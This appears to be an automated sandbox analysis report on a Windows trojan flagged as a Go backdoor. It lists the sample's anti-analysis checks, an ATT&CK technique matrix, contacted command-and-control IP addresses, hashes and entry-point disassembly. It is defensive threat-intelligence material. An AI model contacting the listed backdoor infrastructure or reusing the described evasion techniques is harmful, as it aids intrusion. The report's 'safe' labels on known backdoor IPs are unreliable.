Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02950D60	0_2_02950D60
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0295256A	0_2_0295256A
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029627E6	0_2_029627E6
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296E590	0_2_0296E590
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961E91	0_2_02961E91
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029626B1	0_2_029626B1
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296EABA	0_2_0296EABA
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296A2D5	0_2_0296A2D5
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961ACF	0_2_02961ACF
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029626FE	0_2_029626FE
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296E6E5	0_2_0296E6E5
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962612	0_2_02962612
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02969E19	0_2_02969E19
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02969E08	0_2_02969E08
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961236	0_2_02961236
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296123B	0_2_0296123B
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962A5C	0_2_02962A5C
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296EA75	0_2_0296EA75
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962272	0_2_02962272
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296167D	0_2_0296167D
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296127A	0_2_0296127A
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961E67	0_2_02961E67
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961261	0_2_02961261
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961F8F	0_2_02961F8F
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296D3B2	0_2_0296D3B2
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029617BB	0_2_029617BB
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296B3D7	0_2_0296B3D7
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029617E3	0_2_029617E3
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962F05	0_2_02962F05
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961B01	0_2_02961B01
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961B26	0_2_02961B26
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961751	0_2_02961751
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296274D	0_2_0296274D
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296EB78	0_2_0296EB78
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296ACB6	0_2_0296ACB6
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029620B5	0_2_029620B5
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029618D4	0_2_029618D4
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029760D0	0_2_029760D0
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029624CD	0_2_029624CD
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296DC17	0_2_0296DC17
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962C10	0_2_02962C10
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961803	0_2_02961803
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296203B	0_2_0296203B
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962C27	0_2_02962C27
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296A02E	0_2_0296A02E
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961858	0_2_02961858
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962042	0_2_02962042
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296E471	0_2_0296E471
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962D95	0_2_02962D95
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02961D82	0_2_02961D82
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029619B6	0_2_029619B6
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029649A1	0_2_029649A1
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029619D4	0_2_029619D4
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029621D5	0_2_029621D5
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02969DC0	0_2_02969DC0
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029691CF	0_2_029691CF
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_029619CB	0_2_029619CB
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02969DCB	0_2_02969DCB
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296CDF4	0_2_0296CDF4
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_02962DFA	0_2_02962DFA
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296191D	0_2_0296191D
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 0_2_0296A522	0_2_0296A522

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: String function: 031D3360 appears 155 times
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: String function: 031AFC50 appears 46 times

Source: m0Yc9KltGw.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: m0Yc9KltGw.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: m0Yc9KltGw.exe, 00000000.00000002.2733958560.000000000C0AC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs m0Yc9KltGw.exe
Source: m0Yc9KltGw.exe, 00000000.00000000.1465947188.0000000000CDF000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs m0Yc9KltGw.exe

Source: m0Yc9KltGw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal76.troj.evad.winEXE@1/1@0/6

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

File created: C:\Users\user\AppData\Local\config

Jump to behavior

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: m0Yc9KltGw.exe

ReversingLabs: Detection: 45%

Source: m0Yc9KltGw.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: m0Yc9KltGw.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: m0Yc9KltGw.exe	String found in binary or memory: /LoadInf=
Source: m0Yc9KltGw.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

File read: C:\Users\user\Desktop\m0Yc9KltGw.exe

Jump to behavior

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: k7rn7l32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: ntd3ll.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Section loaded: mswsock.dll	Jump to behavior

Source: m0Yc9KltGw.exe

Static file information: File size 9312768 > 1048576

Source: m0Yc9KltGw.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x7d9200

Source: m0Yc9KltGw.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: m0Yc9KltGw.exe

Static PE information: real checksum: 0x1719f5 should be: 0x8efd91

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Code function: 0_2_031FB880 rdtscp

0_2_031FB880

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Code function: 0_2_031CF280 GetProcessAffinityMask,GetSystemInfo,

0_2_031CF280

Source: m0Yc9KltGw.exe	Binary or memory string: UDYUCaVhDxVMCIEE
Source: m0Yc9KltGw.exe, 00000000.00000002.2726670972.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-
Source: m0Yc9KltGw.exe	Binary or memory string: YE[UVmCIGh

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Code function: 0_2_031FB880 rdtscp

0_2_031FB880

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Code function: 0_2_031E51F0 RtlAddVectoredExceptionHandler,SetUnhandledExceptionFilter,

0_2_031E51F0

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe

Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation

Jump to behavior

Stealing of Sensitive Information

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2733958560.000000000C008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0Yc9KltGw.exe PID: 1984, type: MEMORYSTR

Remote Access Functionality

Yara detected GO Backdoor

Source: Yara match	File source: 00000000.00000002.2733958560.000000000C008000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0Yc9KltGw.exe PID: 1984, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Proxy	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
m0Yc9KltGw.exe	46%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://188.130.206.243http://46.8.232.106	0%	Avira URL Cloud	safe
http://188.130.206.243	0%	Avira URL Cloud	safe
http://188.130.206.243/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://46.8.232.106/	false		high
http://46.8.236.61/	false		high
http://93.185.159.253/	false		high
http://188.130.206.243/	false	Avira URL Cloud: safe	unknown
http://91.212.166.91/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.innosetup.com/	m0Yc9KltGw.exe	false		high
http://46.8.232.106	m0Yc9KltGw.exe, 00000000.00000002.2735492505.000000000C1A8000.00000004.00001000.00020000.00000000.sdmp, m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false		high
http://188.130.206.243http://46.8.232.106	m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C12A000.00000004.00001000.00020000.00000000.sdmp, m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://188.130.206.243	m0Yc9KltGw.exe, 00000000.00000002.2735492505.000000000C1A8000.00000004.00001000.00020000.00000000.sdmp, m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://93.185.159.253	m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false		high
http://46.8.236.61	m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.remobjects.com/ps	m0Yc9KltGw.exe	false		high
http://91.212.166.91	m0Yc9KltGw.exe, 00000000.00000002.2735266794.000000000C128000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.232.106	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	false
188.130.206.243	unknown	Russian Federation	200509	SVINT-ASNES	false
185.121.233.152	unknown	Spain	198432	IPCORE-ASES	true
93.185.159.253	unknown	Russian Federation	39912	I3B-ASAT	false
91.212.166.91	unknown	United Kingdom	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
46.8.236.61	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1550358
Start date and time:	2024-11-06 17:17:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	m0Yc9KltGw.exe renamed because original name is a hash value
Original Sample Name:	63b7bb26a60fb9e73c0e1427a4fcfaf2.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@1/1@0/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 78% Number of executed functions: 230 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: m0Yc9KltGw.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.232.106	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	sV9ElC4fU4.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	wa_3rd_party_host_32.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	wa_3rd_party_host_32.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	46.8.232.106/
188.130.206.243	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243/
93.185.159.253	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	sV9ElC4fU4.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	wa_3rd_party_host_32.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	wa_3rd_party_host_32.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/
	5ndBtx7pRX.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SVINT-ASNES	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	188.130.206.243
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	188.130.206.243
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	188.130.200.140
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	46.8.232.106
	SecuriteInfo.com.FileRepMalware.3248.17662.exe	Get hash	malicious	Unknown	Browse	46.8.237.66
	fCr6yd61xw.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	46.8.237.66
	fCr6yd61xw.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	46.8.237.66
	Zo1o3PhmtM.exe	Get hash	malicious	Unknown	Browse	46.8.237.66
	67JPbskewt.exe	Get hash	malicious	Unknown	Browse	46.8.237.66
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	46.8.236.61
	nabspc.elf	Get hash	malicious	Unknown	Browse	109.248.104.45
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	46.8.232.106
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	185.16.116.131
IPCORE-ASES	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	185.18.198.253
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	185.18.198.253
	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	185.18.198.253
	https://facturamecr.com/Citrix-Sharefile-Portal/index.html	Get hash	malicious	HTMLPhisher	Browse	5.2.88.91
	PROFORMA INVOICE.doc	Get hash	malicious	Unknown	Browse	5.2.91.169
	Offer Request- GR 101002021.doc	Get hash	malicious	Unknown	Browse	5.2.91.169
I3B-ASAT	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	195.16.243.93
	SecuriteInfo.com.FileRepMalware.7838.24766.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	93.185.159.253
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	BwqqVoHR71.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	78.142.85.12
	sV9ElC4fU4.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253
	antispam_connect1.exe	Get hash	malicious	GO Backdoor	Browse	93.185.159.253

Process:	C:\Users\user\Desktop\m0Yc9KltGw.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	6.320559438243785
Encrypted:	false
SSDEEP:	6:hDvj1TuSmxUOrW5i9w61bcwggpMUy+9oCHSFjQ0PJb06l0enbImrgjSZ438bij7E:Z1SSnOR9RCrE0EybBaez8jSEjCD
MD5:	39E17AC372042E4E923706D74C389C7F
SHA1:	17769ED014E9E8E770F500705E44C802C098A4E4
SHA-256:	77C3B2ECA7ECB574811E9678B2D7132A7501F6318FCD5817332689159ED16F22
SHA-512:	C981160522269CB697F315802BC0AD17509C528AF46D34C9A32606FC8CF4230B975148B7778261C1E65C3031FFE53D180B62707146AFFCBD1EBF2F5F26FD452A
Malicious:	false
Reputation:	low
Preview:	..<<......&...[$SSV"A(!?L;.']V'^X..6M.<Q...@U$6Q#..Z7.#\../M!$6X4;.^.. U9.?E.P..6.=..7.(T..3$Y..,F..'A..W'\.__[Y@.._[..SG/.W\3..P..._7.'@.-)U"..X..$B2.(.?Y1.SS.."8?.6W.S.29A<..L89WP .8].X.M.,.X&9.V.=.V6W%G427_#/4V...P+08@2.>Q.8.\&..]0$%O..P...8.%,...9..31.T>!PL.,.F..-W.9RR!.G+9=\..!R?Z.[.R.@?[UR.=._ .:X./?M..!P..W_...O<8.......]P.!.....=T(13L..2F$95_T?R[./.Q.5X@<.+R..#Z..^"(.M?.U[%. ^$..U'<#G.+.\#9+W>..Z.2*

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.344609272629543
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	m0Yc9KltGw.exe
File size:	9'312'768 bytes
MD5:	63b7bb26a60fb9e73c0e1427a4fcfaf2
SHA1:	83b9ac53d958a36dd340f93d08615f452584cf17
SHA256:	e78fc7300dea3f82b9fb7130621e27f5459d4a521243fd42033f6f010f2995e2
SHA512:	692123501d5bcbf2374c2cd3d95bd4d479486f9cee89e41334629485e6f8d5cad9eb6eb8b4602fefe3b72835f9630839c1896459a0c0dde5c05d45e7028bbc82
SSDEEP:	196608:9Kh403NRb/3CZPrcgGkgMgMf06UujdDuBa6QZFzABsPFMw:9Kh4INxuLPfdjwy0qF1
TLSH:	B1967BAB05C26DDDEEE47BF19719E9B64290CC2EF83CC179EA5377AB812068344DC590
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	8000601cc3780c93

Static PE Info

General

Entrypoint:	0x5025d8
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5B226D52 [Thu Jun 14 13:27:46 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f62b90e31eca404f228fcf7068b00f31

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 00500930h
call 00007FD6B8FAA220h
push FFFFFFECh
mov eax, dword ptr [00505E5Ch]
mov eax, dword ptr [eax]
mov ebx, dword ptr [eax+00000170h]
push ebx
call 00007FD6B8FB1A31h
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
mov eax, dword ptr [00505E5Ch]
push ebx
call 00007FD6B8FB1C86h
xor eax, eax
push ebp
push 00502653h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007FD6B8FB13D1h
call 00007FD6B90A826Ch
mov eax, dword ptr [00500568h]
push eax
push 005005CCh
mov eax, dword ptr [00505E5Ch]
mov eax, dword ptr [eax]
call 00007FD6B902405Dh
call 00007FD6B90A82C0h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007FD6B90AA23Bh
jmp 00007FD6B8FAC2ADh
call 00007FD6B90A803Ch
mov eax, 00000001h
call 00007FD6B8FACD6Eh
call 00007FD6B8FAC6F1h
mov eax, dword ptr [00505E5Ch]
mov eax, dword ptr [eax]
mov edx, 005027E8h
call 00007FD6B9023B68h
push 00000005h
mov eax, dword ptr [00505E5Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000170h]
push eax
call 00007FD6B8FB1C47h
mov eax, dword ptr [00505E5Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [004DACA0h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x10e000	0x3840	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x114000	0x7d90fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x169400	0x1a60	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
